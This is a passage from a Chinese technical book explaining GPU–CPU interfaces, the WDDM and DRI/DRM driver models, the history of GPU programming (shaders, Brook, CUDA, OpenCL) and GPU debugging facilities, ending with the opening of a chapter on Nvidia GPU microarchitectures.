计时器,目的是监视GPU的工作速度。如果GPU没有在定时器指定的时
间内完成任务,那么CPU端的管理软件就会重启GPU。这个机制在
Windows操作系统中有个专门的名字,称为超时检测和复位(Timeout
Detection and Reset,TDR)。Linux系统中也有类似的机制,似乎没有
专门的名字,本书将其泛称为TDR。从TDR机制来看,GPU像是工人,
CPU像是工头,工人如果跑错了路并堵在某个地方,工头会让它复位,
从头再来。
8.2.4 与CPU之并立
GPU不独立的根本原因是GPU上还没有自己的操作系统。从发展趋
势来看,GPU端将有自己的操作系统,与CPU端的操作系统并立或者将
其取代。只有到了那时候,GPU的设备身份才会彻底改变。
8.3 软件接口
因为GPU的设备身份,需要CPU把程序和数据喂给它。为了规范和
指导这个交互过程,CPU和GPU之间定义了多种接口,有些是行业内的
标准接口,有些是GPU厂商私有保密的。
8.3.1 设备寄存器
因为GPU从PC系统的显卡设备演变而来,所以通过设备寄存器与
其通信是最基本的方式。在几十年的演进中,设备寄存器的类型又分为
几种。在经典的PC系统中,通过固定的I/O端口来访问显卡。比如,下
面这几个I/O地址区间是给显卡使用的。
3B0~3BB:单色显示/EGA/VGA 视频和旧的打印适配器
3C0~3CF:视频子系统(Video Subsystem)
3D0~3DF:为视频保留的
打开Windows系统的设备管理器,单击“查看”菜单下的“按类型列出
资源”,仍可以看到上述I/O区域是给显卡用的。
0x000003B0~0x000003BB Intel(R) HD Graphics 620
0x000003C0~0x000003DF Intel(R) HD Graphics 620
在系统开机启动的时候,还依赖上面这些端口来对显卡完成基本的
初始化,让其可以工作。
I/O端口速度较慢,不适合传递大量数据。因此,PC系统中,一直
保留着一段物理内存空间给显卡用,其范围如下。
0xA0000~0xBFFFF Intel(R) HD Graphics 620
这样映射在物理内存空间的输入输出就是所谓的MMIO。直到今
天,MMIO仍是CPU和GPU之间沟通的主要方式。MMIO空间通常分为
几部分,其中一部分作为寄存器使用。第11章将以英特尔显卡为例对此
做更多介绍。
1992年,英特尔公司发布了第一个版本的PCI总线标准。很快,PCI
接口的显卡陆续出现。直到今天,大多数显卡和GPU都是以PCI设备的
身份出现在计算机系统中的。
每个PCI设备都有一段配置空间,最初是256字节,在PCIe中有所扩
展。通过GPU设备的PCI配置空间,可以访问一些基本的信息,或者进
行更改,包括调整MMIO空间的位置。
综上所述,设备寄存器有多种,最古老的是I/O端口形式,今天主
要使用的是映射到物理内存空间的MMIO方式,个别时候使用PCI配置
空间。
设备寄存器的宽度不等,一般从1字节到8字节,大多数是4字节
(32位)。在GPU的四大功能中,显示部分最老,也是至今仍主要使用
设备寄存器方式与CPU交互的部分。
8.3.2 批命令缓冲区
通过设备寄存器不适合传递大量信息。因为频繁访问不仅速度慢,
而且会影响GPU的其他用户。以3D渲染任务为例,需要向GPU传递很
多参数和命令,如果游戏A直接把这些命令和参数直接写给GPU,那么
就会影响其他游戏。解决这个问题的方法是批命令缓冲区,先把每个程
序需要执行的命令放入命令缓冲区中,全部命令准备好了之后,再提交
给GPU。今天的GPU普遍支持这种批命令的方式。比如,在图8-5所示
的G965框图中,矩形框代表GPU,顶上从外到内的箭头代表GPU通过
内存接口(MI)从外部接收命令流。箭头下方的CS代表命令流处理器
(Command Streamer)。
图8-5 G965 GPU的逻辑框图
图8-5中,中间的GEN4子系统中包含了通用执行单元(EU),两
侧分别是固定功能的3D流水线和媒体流水线。CS负责把命令分发给不
同的执行流水线。第11章将详细介绍英特尔GPU和GEN架构。
8.3.3 状态模型
上面介绍的批命令缓冲区解决了成批提交的问题,可以让GPU的多
个用户轮番提交自己的命令,但是还有一个问题没有解决。那就是如果
一个任务没有执行完,同时有更高优先级的任务需要执行,或者一个任
务执行中遇到问题,如何把当前的任务状态保存起来,然后切换到另一
个任务。用操作系统的术语来说,就是如何支持抢先式调度。
今天的GPU流水线都灵活多变,参数众多,如果在每次切换任务时
都要重复配置所有参数和寄存器,那么会浪费很多时间。
状态模型是解决上述问题的较好方案。简单来说,在状态模型中使
用一组状态数据作为软硬件之间的接口,相互传递信息。用程序员的话
来说,就是定义一套软件和硬件都认可的数据结构,然后通过这个数据
结构来保存任务状态。当需要执行某个任务时,只要把这个状态的地址
告诉GPU,GPU就会从这个地址加载状态。当GPU需要挂起这个任务
时,GPU可以把这个任务的状态保存到它的状态结构体中。
在现代GPU中,状态模型是一项重要而且应用广泛的技术。在主流
的GPU中都有实现,图8-6来自英特尔公开的编程手册,用于说明GPU
的状态模型。
图8-6 状态模型(图片来自01网站)
在图8-6中,上面是一个基本的数据结构,其起始地址有个专门的
名字,称为状态基地址(State Base Address),当向GPU下达任务时,
要把这个地址告诉GPU。从此,GPU便从这个状态空间来获取状态信
息。图中左侧是绑定表,考虑到准备任务时某些数据在GPU上的地址还
不确定,所以就先用句柄来索引它,在提交任务时,内核态驱动和操作
系统会在修补阶段(Patching)更新绑定表的内容,落实对象引用。
总结一下,本节简要浏览了GPU与CPU之间的编程接口。从早期的
设备寄存器方式到后来的批命令方式,再到状态模型。变革的主要目的
是更好地支持多任务,并且可以快速提交和切换任务。
8.4 GPU驱动模型
由CPU来给GPU喂任务的工作模式由来已久,根深蒂固。长时间的
积累,导致CPU端产生了很多种管理GPU的模块,比如驱动程序、运行
时、操作系统的GPU管理核心等。于是就需要有个模型来协调各个模
块,GPU的驱动模型便是用来解决这个问题的。本节将分别介绍
Windows操作系统和Linux操作系统上的GPU驱动模型。这个话题比较
复杂,本节只能提纲挈领地介绍要点。
8.4.1 WDDM
WDDM是Windows Vista引入的GPU驱动模型,其全称为“Windows
显示驱动模型”(Windows Display Driver Model)。名字中的“显示”显
然是不全面的,因为WDDM所定义的范围并不局限于显示功能,还有
GPU的另三类应用:媒体、2D/3D加速和GPGPU。
可以把Windows的图形系统大体分为三个阶段:第一个阶段是
GDI,第二个阶段是Windows 2000和XP时使用的XPDM,第三阶段便是
Vista引入的WDDM。
WDDM引入了很多项创新,代表着GPU软件模型的一次重大进
步。首先,它梳理不同身份的模块,重新定义分工,确定了图8-7所示
的四分格局。所谓四分格局,就是纵向按特权级别一分为二,把与硬件
密切相关的部分放在内核空间中,把没有必要放在内核空间中的部分放
在用户空间中;横向按开发者一分为二,把公共部分提炼出来由微软来
实现,把差异较大的设备相关的部分交给显卡厂商去实现。
图8-7 WDDM架构框图
图8-7中,左下角是位于内核空间的DirectX Graphics Kernel,简称
DXG内核。它是WDDM的核心模块,从某种程度来说,可以把它看作
Windows操作系统中管理GPU的内核。它的主要任务有两个:显存管理
和任务调度。在WDDM中,普遍使用虚拟内存技术来管理GPU内存,
使用图形页表把GPU的物理内存映射到虚拟内存。当GPU内存不足时,
可以把某些临时不用的页交换出去,需要时再通过页交换(Paging)机
制交换回来。在任务调度方面,WDDM支持抢先式多任务调度,抢先
调度的粒度因WDDM和硬件的版本不同而不同,大趋势是在不断变
小,以提高实时性并保证高优先级任务可以及时得到执行。
右下角是显卡厂商的内核模式驱动程序,一般简称为KMD。可以
认为,KMD是DXG内核的帮手,当DXG内核需要访问硬件时,会调用
KMD。可以认为,KMD拥有硬件,但是不擅长管理,于是委托给DXG
内核来管理。
图8-7中的左上部分代表操作系统的GPU编程接口和运行时。图中
画出了3个版本的DirectX接口,还有用于视频编解码的DXVA,以及
OpenGL。
右上部分是显卡的用户模式驱动程序,一般简称为UMD。UMD的
最主要任务是把应用程序提交的任务翻译为GPU命令,放入专门分配的
命令缓冲区中,并通过运行时接口成批地提交到内核空间。另外,
UMD还负责执行及时编译等不适合在内核空间完成的任务。图中UMD
上方的OpenGL ICD代表用于汇报OpenGL设备的接口模块,ICD是
Installable Client Driver的缩写。
WDDM模型是进程内模型。举例来说,每个调用DX API的应用程
序进程内,都会加载一份运行时和UMD的实例。图8-8所示的栈回溯很
生动地反映了挖地雷程序内四方协作的过程。
# ChildEBP RetAddr
00 aefc9490 90f32e50 igdkmd32!KmSubmitCommand
01 aefc94b8 90f33018 dxgkrnl!DXGADAPTER::DdiSubmitCommand+0x49
02 aefc94c4 8fc810d5 dxgkrnl!DXGADAPTER_DdiSubmitCommand+0x10
03 aefc94d4 8fc8a4ea dxgmms1!DXGADAPTER::DdiSubmitCommand+0x11
...
0a aefc97a0 90f4dd10 dxgmmsl!vidSchSubmitCommand+0x38b
0b aefc9b44 90f4fa2b dxgkrnl!DXGCONTEXT::Render+0x5bd
0c aefc9d28 83c8b44a dxgkrnl!DxgKRender+0x328
0d aefc9d28 77c664f4 nt!KiFastCallEntry+0x12a
0e 001ae1b8 761f5f05 ntdll!KiFastSystemCallRet
0f 001ae1bc 66ef5a95 GDI32!NtGdiDdDDIRender+0xc
10 001ae328 662d370f d3d9!RenderCB+0x174
11 001ae494 66393c68 igdumd32!USERMODE_DEVICE_CONTEXT::FlushCommandBuffer+
0x15f
...
18 001ae664 662d81d4 igdumd32!BltVidToSys+0x149
19 001ae68c 66f4430d igdumd32!Blt+0x1e4
1a 001ae7d4 66f446af d3d9!DdBltLH+0xllfd
...
25 001aed84 00aa386f minesweeper!RenderManager::Render+0x226
26 001aeda4 00aa3b0c minesweeper!RenderManager::SaveBackBuffer+0x79
27 001aedd0 00aa956d minesweeper!RenderManager::PresentBuffer+0x22
...
32 001afb20 00a9df26 minesweeper!WinMain+0xb1
图8-8 WDDM四方协作示例
图8-8中,最下方是WinMain函数,栈帧27~25代表应用程序在执行
呈现(present)动作时要保存后备缓冲区(back buffer),于是调用了
DX的位块传输API(Blt)。栈帧1a中的d3d9是DirectX的运行时模块,
它把调用转给英特尔显卡驱动的UMD模块igdumd32,后者把这个请求
转给内部的BltVidToSys函数(从显存向主存)。BltVidToSys函数继续
调用内部函数把这个操作转化为GPU的命令,放入命令缓冲区中。准备
好命令缓冲区后,UMD调用DX运行时的回掉函数RenderCB,后者发起
系统调用,把命令缓冲区提交给DXG内核。DxgkRender是DXG内核中
的接口函数,负责接收渲染请求。接下来是复杂的命令提交过程,要先
验证命令缓冲区并修补其中的地址引用(Patching),然后把准备好的
命令缓冲区挂到当前进程的GPU执行上下文结构体中,交给DXG内核的
调度器,排队等待执行。排队成功后,调用显卡驱动的KMD模块并提
交给GPU硬件。
8.4.2 DRI和DRM
在UNIX和Linux系统中,X窗口系统(X Window System)历史悠
久,应用广泛。它起源于美国的麻省理工学院,最初版本发布于1984年
6月,其前身是名为W的窗口系统。从1987年开始,X的版本号一直为
11,因此,今天的很多文档中经常使用X11来称呼X。X是典型的“客户
端-服务器”架构,服务器部分一般称为X服务器,客户端称为X客户
端,比如xterm等。
进入20世纪90年代后,随着3D技术的走红,开源系统中也需要一
套与DirectX类似的GPU快速通道。1998年,DRI应运而生。DRI的全称
为直接渲染基础设施(Direct Renderring Infrastructure)。DRI的目标是
让DRI客户程序和X窗口系统都可以高效地使用GPU。
1999年,DRI项目的一部分核心实现开始发布,名叫直接渲染管理
器(Direct Rendering Manager,DRM)。严格来说,DRM是DRI的一部
分,但今天很多时候,这两个术语经常相互替代。
经过十多年的演进变化,今天的DRI架构已经和WDDM很类似,也
可以按前面介绍的四象限切分方法划分为四大角色,如图8-9所示。
图8-9 DRI架构框图
在DRI架构中,内核模式的核心模块称为DRM核心,其角色相当于
WDDM中的DXG内核。DRM核心的目标是实现与GPU厂商无关的公共
逻辑,主要有以下几方面。
管理和调度GPU任务,这部分一般称为“图形执行管理
器”(Graphics Execution Manager,GEM)。
检测和设置显示模式、分辨率等,这部分功能一般称为“内核模式
设置”(Kernel Mode Setting,KMS)。
管理GPU内存,这部分一般称为图形内存管理器(GMM)。
与具体GPU硬件密切关联的部分要分别实现,使用DRM的术语,
这部分称为DRM驱动,套用WDDM的术语就是KMD。
用户空间中的各种API和运行时通过libDRM与内核空间交互,厂商
相关的部分一般称其为libDRM驱动,相当于WDDM中的UMD。
举例来说,Nvidia GPU的KMD名为nvidia-drm,UMD名为libGL-
nvidia-glx。
8.5 编程技术
现代GPU的发展趋势是使用通用的执行单元代替固定功能的硬件流
水线。这个趋势要求现代GPU不仅要有强大的并行执行能力,还必须有
好的指令集和编程模型,这样才能吸引应用程序开发者来为这个GPU编
写软件,发挥硬件的能力。
但问题是编程模型和指令集的开发与推广难度都是很大的,都需要
长时间的积累和巨大的投入。本节按照历史顺序简要介绍三种有代表性
的GPU编程技术,以点带面。
8.5.1 着色器
现代GPU是在图形应用的强大推力下发展起来的。在这个发展过程
中,3D图形应用自20世纪80年代兴起后至今不衰。某种程度上说,是
3D技术成就了GPU,GPU编程是从为3D渲染服务的着色器(shader)开
始的。
1986年著名的皮克斯动画工作室(Pixar Animation Studios)成立,
最大的股东就是乔布斯。皮克斯公司以完全不同的思路来制作动画片,
他们专门开发了一个名叫RenderMan的软件来让计算机生产出高质量的
三维动画。很多著名的动画电影和好莱坞大片中的特效都是使用
RenderMan产生的[6]。
可能是与合作伙伴联合开发的需要,1988年,皮克斯公司发布了
RenderMan接口规约(RenderMan Interface Specification,RISpec)。
RISpec中定义了一种与C语言类似的语言,名叫Renderman Shading
Language(RSL)。在RSL中,着色器一词被赋予了新的内涵。它代表
一段计算机程序,用来产生不同的光照效果、阴影和颜色信息等。换句
话来说,在计算机所描述的3D世界中,每个物体都是使用很多三角形
来表达的,3D渲染的任务就是要把这样的三维世界转化为一帧帧的二
维图像。在这个转换过程中,需要大量的计算,为了提高灵活性,需要
一种编程语言来自由定义计算的过程。着色器和着色器语言应运而生。
2000年11月,微软发布DirectX 8.0(RC10),其中包含了汇编语言
形式的着色器支持。两年后,DirectX 9发布,包含了高层着色器语言
(High-Level Shading Language,HLSL)。与此对应,2002年,
OpenGL引入了汇编语言形式的着色器语言。2004年,高层语言形式的
OpenGL着色器语言(GLSL)发布。HLSL和GLSL至今仍在图形领域广
泛应用。
应通用计算的需要,HLSL和GLSL后来都曾加入支持通用计算的计
算着色器(compute shader)。在2009年发布的DirectX 11中,微软还特
别包含了一系列API来特别支持计算任务,称为Direct Compute。但是着
色器就是着色器,这个名字就注定了它难以承担通用计算这个大任务,
无法流行起来。
8.5.2 Brook和CUDA
斯坦福大学计算机图形实验室(Stanford Computer Graphics
Laboratory)为现代GPU的发展做出了巨大的贡献,不但培养出了很多
顶尖人才,而且孕育了多个重要项目,其中之一就是著名的Brook项
目。如果把时光倒流回2001年10月的斯坦福大学,那里的流语言
(Streaming Languages)课题组正在设计一门新的流式编程语言,名叫
Brook。10月8日,一个名叫Ian Buck的在读博士生起草出了0.1版本的
Brook语言规约,给项目组审查讨论。项目组广泛研究了当时的其他并
行编程技术,包括Stream C、C*、CILK、Fortran M等。当时项目组的
成员有Mark Horowitz、Pat Hanrahan、Bill Mark、Ian Buck、Bill Dally、
Ben Serebrin、Ujval Kapasi和Lance Hammond。
Brook语言是基于C语言进行的扩展,目的是让用户可以从熟悉的编
程语言自然过渡到并行编程。
到了2003年,Brook语言的讨论和定义应该基本完成了。一个新的
名为BrookGPU(Brook for GPU)的项目开始[7],目的是为Brook语言开
发在GPU上运行所需的编译器和运行时(库)。这个项目的带头人就是
起草Brook语言规约的Ian Buck。整个项目组的成员有Ian Buck、Tim
Foley、Daniel Horn、Jeremy Sugerman、Pat Hanrahan、Mike Houston和
Kayvon Fatahalian。
在上面的名单里,Pat Hanrahan是导师,Mike Houston毕业后加入
AMD,参与了AMD多款GPU的设计,曾经是AMD的院士架构师,其他
几个人也都成为GPU和并行计算领域的名人。
在2004年的SIGGRAPH大会上,Ian Buck发表了题为“Brook for
GPUs:Stream Computing on Graphics Hardware”的演讲,公开介绍了
BrookGPU项目。
在Ian Buck的演讲稿的最后一页中有个征集合作的提示。我们不知
道有多少家公司当年曾经对Brook项目感兴趣,但可以确定的是ATI和
Nvidia都在其列。因为ATI曾经推出基于Brook的ATI Brook+技术,而
Nivida的做法更加彻底,2004年11月,直接把Ian Buck雇为自己的员
工。
Ian Buck加入Nvidia时,前一年加入的约翰·尼可尔斯应该正在思考
如何改变GPU的内部设计,使用新的通用核心来取代固定的硬件流水
线,让其更适合并行计算。作者认为两个人见面时一定有志同道合、相
见恨晚的感觉。2006年,使用通用核心思想重新设计的G80 GPU问世。
2007年,基于Brook的CUDA技术推出。高瞻远瞩的硬件,配上优雅别
致的软件,二者相辅相成,共同开创了GPGPU的康庄大道。
CUDA本来是Compute Unified Device Architecture的缩写,但后来
Nvidia取消了这个全称。CUDA就是CUDA,不需要解释。CUDA项目
所取得的成功众所周知,详细情况将在下一章介绍。
8.5.3 OpenCL
CUDA是Nvidia私有的,竞争对手不可以使用。其他公司怎么办
呢?要么开发自己的,要么选择开放的标准。
上文曾经提到,微软在DirectX 11中曾高调推出支持通用计算的
Direct Compute技术。但是Direct Compute基于蹩脚的Shader语言,难以
推广。但是微软没有放弃,大约在2012年,又推出了基于C++语言的
C++ AMP(Accelerated Massive Parallelism)。
2007年前后,苹果公司也在设计新的并行编程技术。但是在正式推
出前选择了把它交给著名的开放标准制定组织Khronos Group。2008年
Khronos Group基于苹果公司所做的工作推出了1.0版本的OpenCL(Open
Computing Language)标准。
OpenCL也是基于C语言进行的扩展,但是与CUDA相比,相差悬
殊。CUDA和OpenCL的核心任务都是从CPU上给GPU编程。如何解决
CPU代码和GPU代码之间的过渡是关键之关键。CUDA比较巧妙地掩盖
了很多烦琐的细节,让代码自然过渡,看起来很优雅。而OpenCL则简
单粗暴。以关键的发起调用为例,在OpenCL中要像下面这样一个一个
地设置参数。
clSetKernelArg(kernel, 0, sizeof(cl_mem), (void *)&memobjs[0]);
clSetKernelArg(kernel, 1, sizeof(cl_mem), (void *)&memobjs[1]);
clSetKernelArg(kernel, 2, sizeof(float)*(local_work_size[0] + 1) * 16, NUL
L);
clSetKernelArg(kernel, 3, sizeof(float)*(local_work_size[0] + 1) * 16, NUL
L);
然后,再调用一个名字拗口、参数非常多的排队函数。
clEnqueueNDRangeKernel(queue, kernel, 1, NULL, global_work_size, local_wor
k_size, 0, NULL, NULL);
而CUDA只要一行。
mykernel<<< gridDim, blockDim, 0 >>>(para1, para2, para3, para4);
二者相比,高下自见。一个简单,一个笨拙,一个是高山流水,一
个是下里巴人。后面将在介绍英特尔GPU时进一步介绍OpenCL。
在CUDA和OpenCL中,都把在GPU中执行的计算函数称为算核
(compute kernel),有时也简称核(kernel),本书统一将其称为算
核。
8.6 调试设施
因为并行度的跃升,GPU程序比CPU程序更加复杂和难以驾驭,所
以需要更强大的调试设施。GPU硬件和软件模型的设计者大多都认识到
了这一点,不仅继承了CPU端的成熟经验,还有创新和发展。本节先简
要介绍目前GPU调试的常见设施,后面各章将根据具体的软硬件平台分
别展开介绍。
8.6.1 输出调试信息
在CUDA和OpenCL中都定义了printf函数,让运行在GPU上的算核
函数可以很方便地输出各种调试信息。GPU版本的函数原型与标准C一
样,但是某些格式符号可能略有不同。
到目前为止,算核函数不能直接显示内容到屏幕,所以GPU上的
printf实现一般都先把信息写到一个内存缓冲区,然后再让CPU端的代码
从这个缓冲区读出信息并显示出来,如图8-10所示。
图8-10 从GPU上输出调试信息
以CUDA为例,算核函数调用printf时会把要输出的信息写到一个先
进先出(FIFO)的内存缓冲区中,格式模板和动态信息是分别存放的。
CPU端的代码启动算核函数后,一般会调用
cudaDeviceSynchronize()这样的同步函数等待GPU的计算结果。在同步
函数中,会监视FIFO内存区的变化,一旦发现新信息,便将模板信息和
动态信息合成在一起,然后输出到控制台窗口。
可以通过CUDA的如下两个函数分别获取和改变FIFO缓冲区的大
小。
cudaDeviceGetLimit(size_t* size,cudaLimitPrintfFifoSize)
cudaDeviceSetLimit(cudaLimitPrintfFifoSize, size_t size)
在OpenCL中,printf函数的实现是与编译器和运行时相关的,在英
特尔开源的Beignet编译器中,也使用与图8-10类似的内存缓冲区方法。
当一个算核完成或者CPU端调用clFinish等函数时,保存在内存区中的调
试信息会显示出来。
8.6.2 发布断点
在调试GPU程序时,用户可能希望在GPU真正开始执行自己的代码
前就中断下来,仿佛一开始执行算核函数就遇到断点一样,这样的中断
与CPU调试时的初始断点类似,本书将其称为发布断点(launch
breakpoint)。
例如,在CUDA GDB(见第9章)中,可以通过set cuda
break_on_launch命令来启用和禁止发布断点(参数all表示启用,none表
示禁止)。
CUDA GDB的帮助手册把发布断点称为算核入口断点(kernel entry
breakpoint)。
8.6.3 其他断点
当然,今天的大多数GPU都支持普通的软件断点。Nvidia GPU中有
专门的软件断点指令,英特尔GPU中每一条指令的操作码部分都有一个
调试控制位,一旦启用,这个指令便具有了断点指令的效果。
英特尔GPU还支持操作码匹配断点,可以针对某一种指令操作来设
置断点。这将在第11章详细介绍。
8.6.4 单步执行
今天的多种GPU调试器都支持单步执行GPU上的程序,可以在高级
语言级别单步,也可以在汇编语言级别单步。在CUDA中,每次单步
时,整个WARP的所有线程都以同样的步调执行一步。
8.6.5 观察程序状态
在CUDA GDB等工具中,可以观察GPU程序的各类变量,包括内置
变量等,也可以直接观察原始的GPU内存。
GPU的寄存器数量通常都远远超过CPU,在CUDA GDB和英特尔的
OpenCL调试工具(GT调试器,详见第11章)中,也可以观察GPU寄存
器。
GPU的汇编指令和机器码对很多程序员来说很神秘,对于Nvidia
GPU和SoC GPU等不公开指令集的GPU来说,更是难得一见。在CUDA
GDB中,通过反汇编窗口,既可以观察中间指令身份的PTX指令,也可
以观察GPU硬件真正使用的机器指令。在GT调试器中,也可以观察反
汇编。
8.7 本章小结
本章从GPU的简要历史讲起,追溯了GPU的发展历史,特别强调了
对GPU领域的诸多问题都有根本影响的设备身份问题。因为设备身份,
今天必须从CPU端“喂程序”给GPU。这种“喂程序”的工作模式带来了一
系列复杂的问题。首先需要在GPU与CPU之间建立高速的通信渠道和通
信接口,其次需要在CPU端建立复杂的“管理团队”来对GPU实施“远
程”管理。当然,“喂”模式也增大了编写GPU程序的复杂度。要编写两
种代码,在程序中不仅要编写CPU端的代码,还要编写GPU端的代码。
在写程序时,要考虑两个地址空间,很多内存要分配两次,一次分配在
CPU端,一次分配在GPU端。高复杂度增加了对GPU开发者的要求,
GPU程序的开发和调试技术还处于起步阶段,发展的空间还很大。
参考资料
[1] The 10 most important graphics cards in PC history .
[2] NVIDIA Launches the World's First Graphics Processing Unit:
GeForce 256 .
[3] Technical Brief: NVIDIA GeForce 8800 GPU Architecture
Overview.
[4] Nvidia Tesla: A UNIFIED GRAPHICS AND COMPUTING
ARCHITECTURE.
[5] John Nickolls Obituary.
[6] Shading Language (RSL) .
[7] BrookGPU.
第9章 Nvidia GPU及其调试设施
虽然很早就有GPU这个名字,但现代意义的GPU离不开Nvidia[1]
[2]。从某种程度上讲,Nvidia成就了GPU,GPU也成就了Nvidia。正因
为如此,讨论GPU不能不谈到Nvidia和Nvidia GPU。本章分三部分。前
面五节是基础,首先介绍Nvidia及其GPU的概况,然后介绍Nvidia GPU
的微架构和指令集,包括硬件相关的SASS指令集和跨硬件兼容的PTX
指令集,接着介绍Nvidia GPU的编程模型和CUDA技术。中间两节介绍
与调试关系密切的异常和陷阱机制,以及系统调用。后面几节涉及调试
设施,首先介绍断点指令和数据断点,然后介绍调试符号和CUDA
GDB,最后介绍用于扩展调试功能的CUDA调试器API。
9.1 概要
Nvidia公司成立于1993年4月,主要创始人为出生于中国台南的黄
仁勋(Jensen Huang)。创建Nvidia公司之前,他曾在AMD和LSI公司工
作。另两位创始人分别叫Chris Malachowsky和Curtis Priem,都曾在Sun
公司工作。三位创始人在电子和芯片设计领域有很强的技术背景。
9.1.1 一套微架构
2006年推出的G80在Nvidia GPU历史上具有重要意义,它开创的以
通用流处理器为主导的统一设计思想代表了现代GPU的发展方向,为
Nvidia在GPU领域的领导地位打下了坚实的基础[3]。此后十几年中,
Nvidia的GPU基本沿着G80所开创的技术路线发展,以大约两年推出一
种微架构的速度优化和改进。Nvidia的微架构都以科学家的名字命名,
G80的微架构称为特斯拉(Tesla)。特斯拉之后的微架构名字分别为费
米(Fermi)、开普勒(Kepler)、麦斯威尔(Maxwell)、帕斯卡
(Pascal)和伏特(Volta)。下一节将分别介绍这些微架构。
9.1.2 三条产品线
Nvidia的GPU产品分为三条产品线,分别是面向PC市场的GeForce
产品线、针对工作站市场的Quadro产品线和针对高性能计算(HPC)的
Tesla产品线。
比如前面介绍的G80就是基于特斯拉微架构的,基于这个微架构的
GPU还有G84、G86、G92、G94、G96、G98等。其中,G84便是Quadro
产品线中的Quadro FX 370显卡产品的GPU[4]。而特斯拉产品线中的
Tesla S870虽然使用的也是G80 GPU,但是把4个G80组合在一起[5]。
值得解释的是,可能是特斯拉这个名字在Nvidia太受欢迎了,G80
的微架构叫特斯拉,针对HPC的产品线也叫特斯拉。在同一个公司里,
出现这样的情况是不应该的,有点撞衫的感觉,约翰先生在一次演讲时
也承认这有点搞笑。不过这也无伤大雅,没有阻碍Nvidia GPU的流行。
9.1.3 封闭
对于软件开发者来说,在几家著名的GPU厂商中,Nvidia算得上最
封闭的。这主要表现在两个方面。首先,不公开GPU的硬件文档,比如
用于编写软件与驱动程序的寄存器信息和指令集等。其次,不提供
Linux版本驱动程序的源代码。这意味着,在Linux系统中使用CUDA技
术和Nvidia GPU时,需要安装以二进制文件为主的Nvidia私有驱动程
序,这会导致Linux内核进入被污染(tainted)状态。比如,在Ubuntu系
统中安装Nvidia的390.12版本驱动程序后,以下是使用dmesg | grep
nvidia命令观察到的不和谐消息。
[ 0.923328] nvidia: loading out-of-tree module taints kernel.
[ 0.923330] nvidia: module license 'NVIDIA' taints kernel.
[ 0.923331] Disabling lock debugging due to kernel taint
Linux内核社区对Nvidia的做法有很多批评意见,Linux内核创始人
Linus先生曾公开指责Nvidia公司,将其称为“独一无二的最糟糕公
司”(the single worst company)。
当然,这种封闭性也增加了本章的写作难度。好在Nvidia的CUDA
工具包(toolkit)中包含了一些有深度的文档,比如CUDA开发者指南
和PTX指令集手册等。如果不特别说明,本章的信息大多都源自这些文
档以及Nvidia公司的技术白皮书。
9.2 微架构
微架构是芯片领域的一个常用术语,它代表芯片内部的基本结构和
根本设计。通常一家芯片设计公司会集中精力设计一套微架构,根据目
标市场封装成不同产品线里的产品。
本节将选取一些有代表性的GPU来认识Nvidia GPU的微架构,目的
是希望读者能对Nvidia GPU硬件有所了解,为后面学习软件模型和调试
设施打下较好的基础,这里仍从G80说起。
9.2.1 G80(特斯拉1.0微架构)
G80内部一共有128个流式处理器(Streaming Processor,SP),每8
个一组,组成一个流式多处理器(Streaming Multiprocessor,SM),每
两个SM组成一个集群,称为纹理处理器集群(Texture/Processor
Cluster,TPC)。换个角度来说,G80内部包含了8个TPC、16个SM和
128个SP,如图9-1所示[6]。
图9-1最下方的方框代表显存(DRAM),其上的ROP代表光栅操
作处理器(Raster Operation Processor),可以直接对显存中的图形数据
做各种位运算。ROP旁边的L2代表二级缓存。ROP和L2上面的横条代表
互联网络,它把所有TPC和其他部件连接起来。
图9-1中央是8个TPC,其上方是三种任务分发器,分别用来分发顶
点任务(处理点、线和三角形),像素任务(处理光栅输出、填充图元
的内部区域),以及通用计算任务。
图9-1中最上方的三个矩形(位于GPU外面)代表通过总线桥接与
系统内存和主CPU的通信。
图9-1 G80结构框图
对G80的宏观架构有个大体了解之后,下面再深入TPC和SM的内
部。图9-2是TPC的内部结构框图,为了节约篇幅,这里将其画为横向布
局。
首先,在每个TPC中,包含两个SM,以及如下共享的设施。
一个SM控制器(SMC):除了管理SM外,它还负责管理和调度
TPC的其他资源,包括读写内存,访问I/O,以及处理顶点、像素和
几何图形等类型的工作负载。
几何控制器(geometry controller):负责把软件层使用DX10着色
器定义的顶点处理和几何处理逻辑翻译为SM上的操作,并负责管
理芯片上专门用于存储顶点属性的存储区,根据需要读写或者转发
其中的数据。
纹理单元(texture unit):负责执行纹理操作,通常以纹理坐标为
输入,输出R、G、B、A这4个分量。
图9-2 TPC和SM的内部结构框图
在每个SM中,除了由8个流处理器组成的SP阵列外,还包含如下共
享的设施。
一级缓存(cache),分为两个部分。一个部分用于缓存代码,称
为指令缓存(I cache);另一部分用来缓存常量数据,称为常量缓
存(C cache)。
共享内存,后面将讲到的使用__shared__关键字描述的变量会分配
在这里。
两个特殊函数单元(Special Function Unit,SFU),用于支持比较
复杂的计算,比如对数函数、三角函数和平方根函数等,每个SFU
内部包含4个浮点乘法器。
一个多线程指令发射器(MT issuer),用于读取指令,并以并发的
方式发射到SP或者SFU中。
最后再介绍一下SM中最重要的执行单元——SP。在每个SP内,都
包含一个标量乘加(multiply-add)单元,它可以执行基本的浮点运算,
包括加法、乘法和乘加。SP还支持丰富的整数计算、比较和数据转换操
作。
值得说明的是,SP和SFU是独立的,可以各自执行不同的指令,同
时工作,以提高整个SM的处理能力。
9.2.2 GT200(特斯拉2.0微架构)
2008年6月,Nvidia发布了GeForce GTX 280产品,其GPU基于第二
代特斯拉微架构。与其相对,G80所使用的微架构称为第一代特斯拉
(特斯拉1.0)。下面便以GT200为例简要介绍特斯拉2.0微架构。
首先,GT200增加了更多的SP,将其从G80中的128个增加到240
个,但仍然是每8个SP 组成一个SM。其次,把30个SM分成10个集群
(TPC),每个TPC包含3个SM(G80中是两个)。
GT200的其他改进有支持双精度浮、提升纹理处理能力以及更大的
寄存器文件等。
9.2.3 GF100(费米微架构)
2010年3月,Nvidia发布GeForce 400系列GPU产品,其微架构名叫
费米(Fermi)。初期所发布产品的GPU代号名为GF100,代号中的F代
表费米微架构[7]。
与前一代相比,GF100的第一个明显变化是进一步增加SP的数量,
由GT200中的240个增加到512个。SP的名字也改称CUDA核心
(core)。每个SM包含32个CUDA核心,每4个SM组成一个集群,集群
的名字由TPC改称GPC(Graphics Processing Cluster)。GF100中包含4
个GPC,如图9-3所示。
图9-3 GF100结构框图
GF100的最重要技术之一是所谓的二级分布式线程调度器(two-
level distributed thread scheduler)。第一级是指图9-3上方的吉咖线程引
擎,它是芯片级的,负责分发全局工作,把线程块(block)分发给各
个SM。第二级是指SM内部的WARP调度器,它负责把线程以WARP为
单位分发给SM中的执行单元。
